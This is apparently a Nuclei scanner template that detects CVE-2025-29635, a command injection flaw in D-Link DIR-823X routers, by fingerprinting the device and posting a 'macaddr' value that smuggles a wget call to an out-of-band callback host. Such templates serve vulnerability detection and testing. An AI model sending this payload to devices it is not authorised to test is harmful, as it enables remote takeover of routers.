id: CVE-2025-29635

info:
  name: "Dlink - Command Injection"
  author: vedas-arpsyndicate
  severity: high
  description: |
    A command injection vulnerability in D-Link DIR-823X 240126 and 240802 allows an authorized attacker to
    execute arbitrary commands on remote devices by sending a POST request to /goform/set_prohibiting via the
    corresponding function, triggering remote command execution.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2025-29635&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=dlink&match=exact
  classification:
    cvss-score: 7.2
    cve-id: CVE-2025-29635
    cwe-id: CWE-78
  metadata:
    verified: false
  tags: cve,cve2025,dlink,rce,kev,vkev
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 2
    matchers:
      - type: dsl
        dsl:
          - "contains(to_lower(body), 'dir-823')"
        internal: true

  - raw:
      - |
        POST /goform/set_prohibiting HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        X-Requested-With: XMLHttpRequest

        macaddr=||wget http://{{interactsh-url}}||&token=00000000000000000000000000000000

    matchers:
      - type: dsl
        dsl:
          - "contains(interactsh_protocol,'dns')"
          - "status_code == 200"
        condition: and